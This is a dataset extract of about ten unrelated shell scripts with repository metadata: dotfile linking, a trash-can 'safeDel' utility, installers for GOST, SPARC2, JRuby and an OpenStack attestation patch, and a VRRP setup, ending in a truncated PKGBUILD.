blob_id stringlengths 40 40 | language stringclasses 1 value | repo_name stringlengths 4 115 | path stringlengths 2 970 | src_encoding stringclasses 28 values | length_bytes int64 31 5.38M | score float64 2.52 5.28 | int_score int64 3 5 | detected_licenses listlengths 0 161 | license_type stringclasses 2 values | text stringlengths 31 5.39M | download_success bool 1 class |
|---|---|---|---|---|---|---|---|---|---|---|---|
62c9ce35c44a493d909ba7b9640549f23de768a3 | Shell | gmlarumbe/emacsconf | /scripts/config.sh | UTF-8 | 411 | 3.09375 | 3 | [
"MIT"
] | permissive | #!/bin/bash
mkdir -p ${HOME}/.emacs.d
echo "Create .elisp home dir..."
ln -s ${PWD}/.elisp ${HOME}/.elisp
if [ -d ".elisp_private" ]; then
echo "Create .elisp_private home dir..."
ln -s ${PWD}/.elisp_private ${HOME}/.elisp_private
fi
echo "Link to emacs init folder..."
ln -s ${PWD}/.elisp/lisp/init.el ${HOME}/.emacs.d/init.el
ln -s ${PWD}/.elisp/lisp/early-init.el ${HOME}/.emacs.d/early-init.el
| true |
0e22fb282136d9bbe22a2e7dcc0b1814149a3f95 | Shell | Kinyoke/safeDel | /safeDel.sh | UTF-8 | 10,608 | 4 | 4 | [] | no_license | #!/usr/bin/env bash
#Author: Faisal Burhan
#Cpyright (c) Neutron.net
#This script is for testing purpose only.
NAME="Faisal Burhan Abdu"
STUDENT_ID="S1719016"
TRASH_CAN_DIR=~/.trashCan
trap ctrl_c SIGINT
trap exit_script EXIT
function main(){ #______________ BEGIN OF MAIN _____________________________
echo "STUDENT_NAME: $NAME"
echo "STUDENT_ID: $STUDENT_ID"
#create a trashCan directory if not exist
init_trashCan
#check the number of user argument(s) counts to determine if there any inline argument(s) available.
if [[ $# == 0 ]];then
#go interactiive mode.
init_interactive_mode
else
if [[ ($1 != -l && $1 != -r && $1 != -w && $1 != -k && $1 != -d && $1 != -t && $1 != "--help") ]];then
delete_file $@
else
#do the command line argument thing ehh.
init_inlinecmd_mode $@
fi
fi
#______________________ END OF MAIN ______________________
}
#handle user parameters provided as inline argument to the safeDel
function init_inlinecmd_mode(){
#do something...
case $1 in
-l)
if [[ $# -gt 1 ]]; then
display_help_menu
else
#List all files from the trashCan directory"
list_files
fi
;;
-r)
if [[ $# -gt 1 ]];then
#recover files back to current directory"
recover_files $@
else
display_help_menu
fi
;;
-d)
#delete content interactively
delete_file_intmode
;;
-t)
if [[ $# -gt 1 ]];then
display_help_menu
else #display total trashCan usage in bytes
display_tc_usage
fi
;;
-w)
if [[ $# -gt 1 ]];then
display_help_menu
else
#start a monitor script on a new window
init_monitor_sh
fi
;;
-k)
if [[ $# -gt 1 ]];then
display_help_menu
else
#kill current user's monitor script process
kill_monitor_process
fi
;;
--help | /?)
display_help_menu
;;
esac
}
#handle interactive mode below
function init_interactive_mode(){
USAGE="usage: $0 <fill in correct usage>"
#prepare the interactive menu list items
((pos = OPTIND - 1))
shift $pos
PS3='option> '
if (( $# == 0 ))
then
if (( $OPTIND == 1 ))
then
select menu_list in list recover delete total watch kill exit
do
case $menu_list in
"list") list_files;;
"recover") recover_files;;
"delete") delete_file_intmode;;
"total") display_tc_usage;;
"watch") init_monitor_sh;;
"kill") kill_monitor_process;;
"exit") exit 0;;
*) echo "unknown option";;
esac
done
fi
else
echo "extra args??: $@"
fi
}
# create a trash can directory on safeDel call if it does not exist
function init_trashCan(){
file=~/.trashCan
if [[ ! -e $file ]]; then
echo "creating .trashCan file"
mkdir ~/.trashCan
fi
}
# display help to the user of the safeDel utility on how to operate the tool.
function display_help_menu(){
echo "usage: safeDel [DIRECTORY(S) | FILE(S)] [-l list files] [-w start monitor]"
echo " [-r file file ... recover files] [-d delete file permanently]"
echo " [-k kill monitor] [-t display usage]"
}
# delete files from the current working directory by moving the to the trashCan directory
#NOTE; specifically built to process inline arguments which represents a file name
function delete_file(){
#set flag paramanter below
flag=0
zero=0
msg=""
for TOKEN in $@
do
#iterate through available arguments
file=$TOKEN
#validate if given argument or set of arguments resabmle either a regular file or directory signature
if [[ -f $file ]];then
msg="Moving file: $TOKEN to trash"
flag=$(( $flag + 1 ))
fi
if [[ -d $file ]];then
msg="Moving directory: $TOKEN to trash"
flag=$(( $flag + 1 ))
fi
#check flag states and move the specified file(S) or folder(S) to the trashCan directory
if [[ $flag -gt $zero ]];then
echo $msg
mv $TOKEN ~/.trashCan
#reset flag back to zero
flag=$(( 0 ))
else
echo "File or directory not found, operation cannot be completed!"
#display_help_menu
fi
done
}
# list available files from the trashCan directory
function list_files(){
# make sure the trashCan is not empty, then display its content to the user
if [ -z "$(ls -A ~/.trashCan)" ]; then
echo "trashCan is empty!"
else
echo -e "Listing files from trashCan dir..."
printf "%-20s %-20s %-20s\n" "FILE_NAME" "FILE_SIZE" "FILE_TYPE"
#echo -e "FILE_NAME" "\tFILE_SIZE" "\tFILE_TYPE"
for f in ~/.trashCan/*; do
printf "%-20s %-20s %-20s\n" "$(basename $f) " "$(wc -c <"$f") " " $(file --mime-type -b "$f")"
done
fi
}
# recover files from the trashCand directory to back to the current working directory
function recover_files(){
# set initial valiables for filename and file count existing in the trashCan directory
FILES=$(ls $TRASH_CAN_DIR)
fileCount=$(ls -1q $TRASH_CAN_DIR/ | wc -l)
if [[ ($fileCount -gt 0 && $# -lt 1) ]]; then
# prompt a user to choose an action to be performed
read -p "Would you like all files from trashCan to be recovered (Y or n))? " option
case $option in
Y | y)
echo "recovering all trashCan content to current working directory..."
for filename in $FILES;
do
if [[ -f $TRASH_CAN_DIR/$filename ]]; then
mv $TRASH_CAN_DIR/$filename .
fi
if [[ -d $TRASH_CAN_DIR/$filename ]]; then
mv $TRASH_CAN_DIR/$filename .
fi
done
echo "trashCan content moved successfully to current working directory..."
;;
N | n)
i=0
# show the user available file(s) to be recovered from the trashCan directory
echo "List of available files..."
for filename in $FILES;
do
let i++
echo $i": "$filename
done
read -p "Enter a file name or [file1 file2 file..] to recover: " filename_i
for filename in $filename_i;
do
if [[ -f $TRASH_CAN_DIR/$filename ]]; then
echo "recovering $filename from trashCan to current working directory..."
mv $TRASH_CAN_DIR/$filename .
elif [[ -d $TRASH_CAN_DIR/$filename ]]; then
echo "recovering $filename folder from trashCan to current working directory..."
mv $TRASH_CAN_DIR/$filename .
else
echo "File do not exist!"
fi
done
;;
esac
elif [[ $# -gt 1 ]]; then
shift 1
for filename in $@;
do
if [[ -f $TRASH_CAN_DIR/$filename ]]; then
echo "recovering $filename file from trashCan to current working directory..."
mv $TRASH_CAN_DIR/$filename .
elif [[ -d $TRASH_CAN_DIR/$filename ]]; then
echo "recovering $filename folder from trashCan to current working directory..."
mv $TRASH_CAN_DIR/$filename .
else
echo "File not found, please make sure you provide the right file name!"
fi
done
else
echo "trashCan is empty!"
fi
}
# terminate the current running monitor process
function kill_monitor_process(){
# locate the process's process id
PID=$(ps -x | grep monitor.sh | grep "[0-9]*.Ss+" | awk '{print $1}')
# verify that the id is not less 0
if [[ $PID -gt 0 ]];then
echo "Terminating monitor process..."
kill $PID
echo "monitor process terminated successfully..."
else
echo "no monitor process running!"
fi
}
# handle file deletion for interactive mode options
function delete_file_intmode(){
FILES=$(ls $TRASH_CAN_DIR)
fileCount=$(ls -1q $TRASH_CAN_DIR/ | wc -l)
if [[ $fileCount -gt 0 ]]; then
read -p "Would you like to permanently delete all files (Y or n))? " option
case $option in
Y | y)
echo "permanently deleting all the trashCan content..."
for filename in $FILES;
do
if [[ -f $TRASH_CAN_DIR/$filename ]]; then
rm $TRASH_CAN_DIR/$filename
fi
if [[ -d $TRASH_CAN_DIR/$filename ]]; then
rm -r $TRASH_CAN_DIR/$filename/*
fi
done
echo "trashCan content deleted successfully..."
;;
N | n)
i=0
echo "List of available files..."
for filename in $FILES;
do
let i++
echo $i": "$filename
done
read -p "Enter a file name or [file1 file2 file..] to delete: " filename_i
for filename in $filename_i;
do
if [[ -f $TRASH_CAN_DIR/$filename ]]; then
echo "deleting $filename file from trashCan..."
rm $TRASH_CAN_DIR/$filename
elif [[ -d $TRASH_CAN_DIR/$filename ]]; then
echo "deleting $filename folder from trashCan..."
rm -r $TRASH_CAN_DIR/$filename
else
echo "File do not exist!"
fi
done
;;
esac
else
echo "trashCan is empty!"
fi
}
# start a monitor process on a new separate window
function init_monitor_sh(){
echo "Initiate monitor process..."
# get the monitor process's pid...
PID=$(ps -x | grep monitor.sh | grep "[0-9]*.Ss+" | awk '{print $1}')
# check if the monitor process is not already running...
if [[ $PID -gt 0 ]];then
echo "monitor script is already running..."
else
echo "monitor process started..."
# invoke a new window with the monitor process running...
gnome-terminal --command './monitor.sh' --hide-menubar --title="MONITOR" > .termout
fi
}
# display current size of the trashCan directory.
function display_tc_usage(){
# confirm that the directory is not empty
if [ -z "$(ls -A ~/.trashCan)" ]; then
echo "trashCan is empty!"
else
# iterate through file by their size and sum them up to determine the total usage in bytes
local totalSize=0
for f in ~/.trashCan/*; do
fileSize="$(wc -c <"$f")"
let totalSize=$"(totalSize+fileSize)"
done
echo "Total trashCan dir usage : "$totalSize "bytes"
fi
}
# handle [CTRL + C] interrupt command
ctrl_c(){
fileCount=$(ls -1q | wc -l)
fileCount=`expr $fileCount - 1`
echo "available number of files in the trashCan is: "$fileCount;
total_size=0
for file in $TRASH_CAN_DIR/*; do
fileSize=$(wc -c $file | awk '{print $1}')
total_size=`expr $total_size + $fileSize`
done
if [[ $total_size -gt 1024 ]]; then
echo "The size of your trashCan is" $total_size " bytes"
printf "\e[91m%s\e[0m" "WARNING: trashCan size exceeds 1 Kilobyte."
fi
exit 130
}
# safe exit the script
exit_script(){
echo -e "\r\nGoodbye $USER!"
}
#script start execution from main function call below.
main $@
#____________________________ END OF safeDel.sh SCRIPT _________________________________
| true |
1f8b608230f54d224883ec2d87a6f4a93dbcb36a | Shell | wfp-ose/sparc2 | /install_ubuntu_1404.sh | UTF-8 | 1,715 | 3.375 | 3 | [] | no_license | #!/bin/bash
DIR="$( cd "$( dirname "${BASH_SOURCE[0]}" )" && pwd )"
#===============#
OS_USER=vagrant
VENV=sparc2
DEPLOY_KEY_EMAIL="sparc@wfp.org"
DJ_PROJ="sparc2"
#===============#
bash "install/install_apt.sh"
#===============#
# Create Deploy Key
read -p "Do you need to create a deploy key? y/n" -n 1 -r
echo # (optional) move to a new line
if [[ $REPLY =~ ^[Yy]$ ]]
then
ssh-keygen -t rsa -b 4096 -C $DEPLOY_KEY_EMAIL -q -N "" -f ~/.ssh/id_rsa
echo "Add the following deploy key to your git server."
cat ~/.ssh/id_rsa.pub
fi
read -p "Ready to continue? y/n" -n 1 -r
echo # (optional) move to a new line
if [[ ! $REPLY =~ ^[Yy]$ ]]
then
exit 1
fi
#===============#
bash "install/install_postgis.sh"
bash "install/install_java.sh"
bash "install/install_static.sh"
bash "install/install_virtualenv.sh"
source ~/.bash_aliases
workon sparc2
bash "install/install_python_deps.sh"
bash "install/install_gdal.sh"
#===============#
# Install Front-end Dependencies (mostly gulp plugins)
cd "$DIR/$DJ_PROJ/static/$DJ_PROJ"
npm install # Removed -g Installs to global
sudo chown -R $OS_USER:$OS_USER ~/.npm/ # Fix any issues with dependencies hardcoding OS_USER
#===============#
# Install SPARC (sparc2)
cd ~
export DJANGO_SETTINGS_MODULE=$DJ_PROJ.settings
pip install -e sparc2.git
sudo mkdir -p /var/www/static
cd $DIR
sudo /home/$OS_USER/.venvs/$VENV/bin/python manage.py collectstatic --noinput -i gulpfile.js -i package.json -i temp -i node_modules
# need to harcode python, b/c sudo. It's complicated.
#===============#
read -p "Do you want to reload the database at this time? y/n" -n 1 -r
echo # (optional) move to a new line
if [[ ! $REPLY =~ ^[Yy]$ ]]
then
exit 1
fi
bash reload_data.sh
| true |
c17c22d2d29c14e51362a3e5546553d7cdef62f4 | Shell | wesleyMT/VRRP_HA | /ha_install.sh | UTF-8 | 1,515 | 3.546875 | 4 | [] | no_license | #!/bin/bash
#
# Works on Solaris 11.3
#
VRRP_GROUP=0
read -p "What VRRP group to use? [12]: " VRRP_GROUP
if [[ $VRRP_GROUP -eq '0' ]] ; then
VRRP_GROUP=12
fi
NODE_PRIO=90
read -p "Is this Node is the MASTER? <y/n> [N]: " prompt
if [[ $prompt =~ [yY](es)* ]] ; then
NODE_PRIO=100
fi
prompt=""
while [ ! $prompt ] ; do
read -p "Enter the Virtual IP to use: " prompt
if [[ $prompt =~ [qQ](uit)* ]] ; then
echo "Operation aborted"
exit 0
fi
VIP=$prompt
done
prompt=""
while [ ! $prompt ] ; do
read -p "Enter the subnet mask to use: (e.g. /24) " prompt
if [[ $prompt =~ [qQ](uit)* ]] ; then
echo "Operation aborted"
exit 0
fi
SUBNET=$prompt
done
read -p "Last Chance.. proceed? <y/n> [N]: " prompt
if [[ ! $prompt =~ [yY](es)* ]] ; then
echo "Operation aborted"
exit 0
fi
# Install VRRP package if not installed
which vrrpadm 1>&- 2>&- || pkg install vrrp
# Set VRRP and assosiate IP
vrrpadm create-router -V $VRRP_GROUP -A inet -p $NODE_PRIO -I net0 -T l3 vrrp1
ipadm create-addr -T vrrp -n vrrp1 -a $VIP/$SUBNET net0/vaddr1
# Set system event notification
syseventadm add -v SUNW -p vrrpd -c EC_vrrp -s ESC_vrrp_state_change /usr/local/iprs/ha/ha_state_trigger.sh
syseventadm restart
echo ""
echo -e "\033[0;32m####################################################"
echo "VRRP Setup is Complete"
echo -e "####################################################\033[m"
echo ""
vrrpadm show-router -o NAME,STATE,PRV_STAT,PRIMARY_IP,PEER,VIRTUAL_IPS
echo ""
vrrpadm show-router
echo ""
| true |
909331d1a2e924dc173aefd0f19f25a5906d3cb3 | Shell | gost/scripts | /ubuntu_install.sh | UTF-8 | 2,794 | 3.375 | 3 | [
"MIT"
] | permissive | #-------------------------
# update system and tools
# Note: Mosquitto installed trough apt-get does not support websockets
# to get websockets working check: https://github.com/Geodan/gost/wiki/Mosquitto-with-websockets
#-------------------------
sudo apt-get update
sudo apt-get -y install git
sudo apt-get -y install mosquitto
#-------------------------
# create dirs
#-------------------------
cd ~
rm -rf dev
mkdir -p dev/go/src/github.com/geodan
#-------------------------
# install golang
#-------------------------
sudo apt-get -y install golang
export GOPATH=$HOME/dev/go
export PATH=$PATH:$GOPATH/bin
#-------------------------
# install postgresql + postgis
#-------------------------
sudo apt-get -y install postgresql postgresql-contrib postgis
sudo su postgres -c psql << EOF
ALTER USER postgres WITH PASSWORD 'postgres';
CREATE DATABASE gost OWNER postgres;
\connect gost
CREATE EXTENSION postgis;
\q
EOF
#-------------------------
# Port configuration
#-------------------------
sudo iptables -A INPUT -m state --state NEW -m tcp -p tcp --dport 80 -j ACCEPT -m comment --comment "GOST Server port"
sudo iptables -A INPUT -m state --state NEW -m tcp -p tcp --dport 1883 -j ACCEPT -m comment --comment "Mosquitto MQTT port"
#Add port to firewall
sudo ufw allow 1883
sudo ufw allow 80
#-------------------------
# Get latest version of GOST from github
#-------------------------
cd ~/dev/go/src/github.com/geodan
git clone https://github.com/Geodan/gost.git
cd gost/src
go get .
#-------------------------
# Build GOST to bin folder
#-------------------------
sudo mkdir /usr/local/bin/gost
go build -o /usr/local/bin/gost github.com/geodan/gost/src
#-------------------------
# Copy needed files to bin folder
#-------------------------
sudo cp ~/dev/go/src/github.com/geodan/gost/scripts/createdb.sql /usr/local/bin/gost
sudo cp -avr ~/dev/go/src/github.com/geodan/gost/src/client /usr/local/bin/gost
#Create schema in Postgresql
/usr/local/bin/gost/gost -install /usr/local/bin/gost/config.yaml
#-------------------------
# Create /etc/systemd/system/gost.service to run GOST as a service
#-------------------------
echo "
[Unit]
Description=GOST Server
After=syslog.target network.target postgresql.service
[Service]
Environment=export gost_server_host=0.0.0.0
Environment=export gost_server_port=80
Environment=export gost_server_external_uri=http://mysite.com
Environment=export gost_server_client_content=/usr/local/bin/gost/client/
ExecStart=/usr/local/bin/gost/gost -config /usr/local/bin/gost/config.yaml
[Install]
WantedBy=multi-user.target" > /etc/systemd/system/gost.service
#-------------------------
# Enable GOST service on boot, start GOST
#-------------------------
sudo systemctl daemon-reload
sudo systemctl enable gost
sudo systemctl start gost | true |
a12021bbb69674dad892f7367834c7f2f14c4c3e | Shell | hgreenlee/larlite | /config/setup_mrb_local.sh | UTF-8 | 917 | 3.625 | 4 | [] | no_license | #!/bin/bash
command -v mrb >/dev/null 2>&1 || { echo >&2 "MRB seems not set up (required!). Aborting."; return; }
# Set my larsoft path
if [ -z $1 ]; then
echo 1st argument must be the installation location. No argument provided!
return;
fi
MY_LARSOFT=$1
if [ ! -d $MY_LARSOFT ]; then
echo Directory \"$MY_LARSOFT\" not found! Aborting...
return;
fi
export MY_LARSOFT_SETUP=`ls $MY_LARSOFT | grep localProducts`
if [ -z $MY_LARSOFT_SETUP ]; then
echo The directory $MY_LARSOFT does not contain a setup script ... not properly checked out?
return
fi
# Next steps involve cd to different directries. Remember this directory before doing that & come back later
export TMP_PWD=$PWD
# Configure my larsoft
cd $MY_LARSOFT
source $MY_LARSOFT_SETUP/setup
cd build
#source mrb s
mrbsetenv
# Set up local installation
cd $MY_LARSOFT
#source mrb slp
mrbslp
cd $TMP_PWD
unset TMP_PWD
#done
| true |
11ed8f7c45e09dd184ae1c0082b0ecd53f25dced | Shell | avaussant/blog | /automated-networkpolicy-generation/1-inject-sidecar.sh | UTF-8 | 196 | 2.609375 | 3 | [] | no_license | #!/bin/bash
source env.sh
DEPLOYMENTS=$(kubectl get deployment -n $TARGET_NS -o name)
for d in $DEPLOYMENTS
do
kubectl -n $TARGET_NS patch $d --patch "$(cat tcpdump-sidecar-patch.yaml)"
done
| true |
4e4b474877b702f092dcdba4706a2dbc9927c557 | Shell | pawelz/pyjira | /PLD/build.sh | UTF-8 | 577 | 2.96875 | 3 | [
"MIT",
"X11-distribute-modifications-variant"
] | permissive | #!/bin/sh -x
TOPDIR=$PWD
SPECDIR=$TOPDIR
SOURCEDIR=$TOPDIR
BUILDDIR=$TOPDIR/BUILD
RPMDIR=$(dirname $TOPDIR)
SRPMDIR=$(dirname $TOPDIR)
mkdir -p $BUILDDIR
(cd ..; git archive --prefix=pyjira/ HEAD --format=tar) > pyjira.tar
rpmbuild -bb \
--define "_binary_payload w9.gzdio" \
--define "_source_payload w9.gzdio" \
--define "_topdir $TOPDIR" \
--define "_sourcedir $SOURCEDIR" \
--define "_specdir $SPECDIR" \
--define "_rpmdir $RPMDIR" \
--define "_srpmdir $SRPMDIR" \
python-pyjira.spec $@ | sed "s/^\(Wrote: .*\.rpm\)\$/$(tput setaf 1; tput bold)\1$(tput sgr0)/"
| true |
a4837438817b97c7f80ecccff511f6d17a9ca5e0 | Shell | habitat-sh/habitat | /components/sup/tests/fixtures/integration/config-and-hooks-with-reconfigure/hooks/reconfigure | UTF-8 | 222 | 2.625 | 3 | [
"Apache-2.0"
] | permissive | #!/bin/bash
echo "$(date): Executing Reconfigure Hook with templated value: {{cfg.reconfigure_templated_value}}"
EXIT_CODE='{{#if cfg.reconfigure_exit_code}}{{cfg.reconfigure_exit_code}}{{else}}0{{/if}}'
exit "$EXIT_CODE" | true |
ff35f174498340d124ceeafa5a221ed15be00684 | Shell | delkyd/alfheim_linux-PKGBUILDS | /rucksack/PKGBUILD | UTF-8 | 751 | 2.765625 | 3 | [] | no_license | # Maintainer: archlinux.info:tdy
pkgname=rucksack
pkgver=3.1.0
pkgrel=1
pkgdesc="Texture packer and resource bundler"
arch=(i686 x86_64)
url=https://github.com/andrewrk/rucksack
license=(MIT)
depends=(freeimage liblaxjson)
makedepends=(cmake)
source=(https://github.com/andrewrk/$pkgname/archive/$pkgver.tar.gz)
sha256sums=(dcdaab57b06fdeb9be63ed0f2c2de78d0b1e79f7a896bb1e76561216a4458e3b)
build() {
mkdir $pkgname-$pkgver/build
cd $pkgname-$pkgver/build
cmake .. \
-DCMAKE_BUILD_TYPE=Release \
-DCMAKE_INSTALL_PREFIX=/usr
make
}
check() {
cd $pkgname-$pkgver/build
make test
}
package() {
cd $pkgname-$pkgver/build
make DESTDIR="$pkgdir" install
install -Dm644 ../LICENSE "$pkgdir"/usr/share/licenses/$pkgname/LICENSE
}
| true |
814c21f8dc803cb3a2e5239aba82fc72dc10310f | Shell | GDmin/devops-project | /scripts/ApplicationStop.sh | UTF-8 | 121 | 2.640625 | 3 | [] | no_license | #!/bin/bash
if [ `docker ps | grep project | wc -l` = 1 ]
then
docker stop project
docker rm project
fi
| true |
bf27b83cbe1faff6295eb204742e10fab9e9bede | Shell | olleolleolle/passenger-docker | /image/jruby1.7.sh | UTF-8 | 2,436 | 3.078125 | 3 | [
"MIT"
] | permissive | #!/bin/bash
set -e
source /build/buildconfig
set -x
apt-get install -y -t sid openjdk-8-jre-headless
dpkg-reconfigure ca-certificates-java
curl https://s3.amazonaws.com/jruby.org/downloads/1.7.18/jruby-bin-1.7.18.tar.gz -o /tmp/jruby-bin-1.7.18.tar.gz
cd /usr/local
tar xzf /tmp/jruby-bin-1.7.18.tar.gz
# For convenience.
cd /usr/local/jruby-1.7.18/bin
ln -sf /usr/local/jruby-1.7.18/bin/jruby /usr/bin/ruby
# To keep the image smaller; these are only needed on Windows anyway.
rm -rf *.bat *.dll *.exe
echo "PATH=\"\$PATH:/usr/local/jruby-1.7.18/bin\"" >> /etc/environment
source /etc/environment
gem install rake bundler rack --no-rdoc --no-ri
echo "gem: --no-ri --no-rdoc" > /etc/gemrc
# This part is needed to get Debian dependencies working correctly, so that the nginx-passenger.sh script does not
# install Ruby 1.9 and/or other YARV Ruby versions (if all we want is JRuby).
cd /tmp
mkdir -p jruby-fake/DEBIAN
cat <<-EOF > jruby-fake/DEBIAN/control
Source: jruby-fake
Section: ruby
Priority: optional
Maintainer: Unmaintained <noreply@debian.org>
Build-Depends: debhelper (>= 9~), openjdk-7-jdk (>= 7u71-2.5.3), ant-optional,
libasm3-java, libcommons-logging-java, libjarjar-java, libjoda-time-java,
junit4, libbsf-java, libjline-java, bnd, libconstantine-java,
netbase, libjgrapht0.8-java, libjcodings-java, libbytelist-java, libjffi-java,
libjaffl-java, libjruby-joni-java, yydebug, nailgun, libjnr-posix-java,
libjnr-netdb-java, libyecht-java (>= 0.0.2-2~), cdbs, maven-repo-helper
Standards-Version: 3.9.6
Homepage: http://jruby.org
Package: jruby-fake
Version: 1.7.18
Architecture: all
Replaces: jruby1.0, jruby1.1, jruby1.2
Provides: ruby-interpreter, rubygems1.9
Depends: default-jre | java6-runtime | java-runtime-headless
Recommends: ri
Description: 100% pure-Java implementation of Ruby (fake package)
JRuby is a 100% pure-Java implementation of the Ruby programming language.
.
JRuby provides a complete set of core "builtin" classes and syntax
for the Ruby language, as well as most of the Ruby Standard
Libraries. The standard libraries are mostly Ruby's own complement of
".rb" files, but a few that depend on C language-based extensions have
been reimplemented. Some are still missing, but JRuby hopes to
implement as many as is feasible.
.
This is a fake package that does not contain any files; it exists just to
satisfy dependencies.
EOF
dpkg-deb -b jruby-fake .
dpkg -i jruby-fake_1.7.18_all.deb
| true |
9261c6f3340a14fc054ef202f2bfdea16e76c98a | Shell | openclouds-src/opencit-openstack-extensions | /Openstack-Liberty-CIT-patch/setup | UTF-8 | 7,127 | 3.875 | 4 | [] | no_license | #!/bin/bash
red='\e[0;31m'
NC='\e[0m' # No Color
if [ "$1" = "initcfg" ]
then
echo "CIT_IP=<IP Address>
CIT_PORT=<PORT>
CIT_AUTH_BLOB=<AUTH_BLOB>" > setup.cfg
echo "Default setup.cfg created in the directory. Please run ./setup for continuing with the setup process. Alternatively update the config and run ./setup."
exit 1
elif [ "$1" = "install" ]
then
echo "Installing the patch on the Openstack controller"
else
echo -e "${red}initcfg:"
echo -e "${NC} Creates a fresh setup.cfg"
echo
echo -e "${red}install:'"
echo -e "${NC}'Installs the patch on the running openstack controller. This command has to be run on the controller node where nova and horizon are running"
exit
fi
echo
echo -e "${red}\e[1mBefore applying the patch, please update setup.cfg to change Attestation server IP and access credentials."
echo
echo "-------------------------------------------------------------------------------------------"
echo "| |"
echo "| If you have to change the Attestation server access details later, use the below files: |"
echo "| Nova: /etc/nova/nova.conf |"
echo "| Horizon: /usr/share/openstack-dashboard/openstack_dashboard/settings.py |"
echo "| |"
echo "-------------------------------------------------------------------------------------------"
echo -e "${NC}"
horizon_config="ASSET_TAG_SERVICE = {
'IP': 'CIT_IP',
'port': 'CIT_PORT',
'certificate_url': '/certificate-requests',
'auth_blob': 'CIT_AUTH_BLOB',
'api_url': '/mtwilson/v2/host-attestations',
'host_url': '/mtwilson/v2/hosts',
'tags_url': '/mtwilson/v2/tag-kv-attributes.json?filter=false'
}
MIDDLEWARE_CLASSES = ("
nova_config="[trusted_computing]
attestation_server = CIT_IP
attestation_port = CIT_PORT
attestation_auth_blob = CIT_AUTH_BLOB
attestation_api_url=/mtwilson/v2/host-attestations
attestation_host_url=/mtwilson/v2/hosts
attestation_server_ca_file=/etc/nova/ssl.crt
"
if [ ! -f 'setup.cfg' ]
then
echo "CIT_IP=<IP Address>
CIT_PORT=<PORT>
CIT_AUTH_BLOB=<AUTH_BLOB>" > setup.cfg
fi
read_replace_markups() {
pattern=$1
config_match=`grep -ic "$pattern" setup.cfg`
if [ $config_match -gt 0 ]
then
read -p "Please enter the $2 [Default value is $3]: "
if [ -z $REPLY ] && [ -z $3 ]
then
echo "$2 cannot be empty/null"
exit 1
elif [ -z $REPLY ]
then
REPLY=$3
fi
#"${original_string/Suzi/$string_to_replace_Suzi_with}"
# nova_config = horizon_config.replace($4, $REPLY)
# sed -ie "s/$1/$REPLY/" horizon_settings
# sed -ie "s/$1/$REPLY/" nova_settings
else
REPLY=`grep $4 setup.cfg | cut -d= -f2`
if [ -z "$REPLY" ]; then
echo "setup.cfg is malformed. Please run ./setup initcfg to start fresh."
fi
fi
horizon_config="${horizon_config/$4/$REPLY}"
nova_config="${nova_config/$4/$REPLY}"
sed -ie "s/$4.*/$4=$REPLY/" setup.cfg
}
read_replace_markups "<IP Address>" "Attestation server IP Address" "" "CIT_IP"
read_replace_markups "<PORT>" "Attestation server Port [8181 or 8443]" 8181 "CIT_PORT"
read_replace_markups "<AUTH_BLOB>" "Attestation server authentication details {format- user:password}" "admin:password" "CIT_AUTH_BLOB"
rm -f setup.cfge
echo "$nova_config" > nova_settings
echo "$horizon_config" > horizon_settings
#read -p "Do you want to continue? (y/n) " -n 1 -r
#echo
#if [[ ! $REPLY =~ ^[Yy]$ ]]
#then
# exit 1
#fi
#echo "------------------------------------------------------------------"
echo "Setting up the new nova scheduler filter"
#echo "------------------------------------------------------------------"
#echo
#echo
cp nova/asset_tag_filter.py /usr/lib/python2.7/dist-packages/nova/scheduler/filters/
#cp nova/asset_tag_filter.py /usr/share/pyshared/nova/scheduler/filters/
#ln -s /usr/share/pyshared/nova/scheduler/filters/asset_tag_filter.py /usr/lib/python2.7/dist-packages/nova/scheduler/filters/
cat nova_settings >> /etc/nova/nova.conf
sed -ie 's/enabled_apis=ec2,osapi_compute,metadata/enabled_apis=ec2,osapi_compute,metadata\nscheduler_driver=nova.scheduler.filter_scheduler.FilterScheduler\nscheduler_default_filters = TrustAssertionFilter,RamFilter,ComputeFilter/' /etc/nova/nova.conf
mv "/usr/lib/python2.7/dist-packages/nova/scheduler/filters/trusted_filter.py" /root
#echo "------------------------------------------------------------------"
echo "Setting up the Horizon changes"
#echo "------------------------------------------------------------------"
#echo
#echo
cp horizon/lib/*.py /usr/lib/python2.7
cp horizon/dashboard/images/*.py /usr/share/openstack-dashboard/openstack_dashboard/dashboards/project/images/images/
cp horizon/js/horizon.geotag.js /usr/lib/python2.7/dist-packages/horizon/static/horizon/js/horizon.geotag.js
sed -ie "s/{\% endcompress \%}/{\% endcompress \%}\n<script src='\{\{ STATIC_URL \}\}horizon\/js\/horizon.geotag.js' type='text\/javascript' charset='utf-8'><\/script>/" /usr/share/openstack-dashboard/openstack_dashboard/templates/horizon/_scripts.html
#cp horizon/imgs/*.png /usr/share/openstack-dashboard-ubuntu-theme/static/ubuntu/img/
#cat horizon/css/horizon_geotag.less >> /usr/share/openstack-dashboard-ubuntu-theme/static/ubuntu/css/ubuntu.css
#cp horizon/imgs/* /usr/share/openstack-dashboard/openstack_dashboard/static/dashboard/img
#cat horizon/css/horizon_geotag.less >> /usr/share/openstack-dashboard/openstack_dashboard/static/dashboard/css/*.css
cat horizon/css/horizon_geotag.less | tee --append /usr/share/openstack-dashboard/openstack_dashboard/static/dashboard/css/*.css > /dev/null
sed -ie "s/HORIZON_CONFIG = {/HORIZON_CONFIG = {\n 'customization_module': 'horizon_geo_tag.overrides',/" /usr/share/openstack-dashboard/openstack_dashboard/settings.py
cp /usr/share/openstack-dashboard/openstack_dashboard/settings.py settings_old.py
sed -e "/MIDDLEWARE_CLASSES = (/r horizon_settings" -e "s///" settings_old.py > /usr/share/openstack-dashboard/openstack_dashboard/settings.py
rm -rf *_settingse
cp horizon/nova/servers.py /usr/lib/python2.7/dist-packages/nova/api/openstack/compute/views/
cp horizon/nova/nova.py /usr/share/openstack-dashboard/openstack_dashboard/api/
#echo "------------------------------------------------------------------"
echo "Restarting the required services (nova-scheduler, horizon: apache2)"
#echo "------------------------------------------------------------------"
#echo
#echo
service nova-scheduler restart
service nova-api restart
#echo
#echo
service apache2 restart
rm -f nova_settings
rm -f horizon_settings
rm -f settings_old.py
rm -f sed*
| true |
5a456a6125bc2aa5065dcea0139dc607d7438a38 | Shell | axblk/PKGBUILD | /gcc-hermit-bootstrap-git/PKGBUILD | UTF-8 | 1,546 | 2.78125 | 3 | [] | no_license | _pkgname="gcc-hermit-bootstrap"
pkgname=$_pkgname-git
pkgver=r146655.50eced1900b
_islver=0.18
pkgrel=1
pkgdesc="Cross-build binary utilities for HermitCore"
arch=('x86_64')
url="https://github.com/hermitcore/gcc"
license=('GPL')
groups=()
depends=()
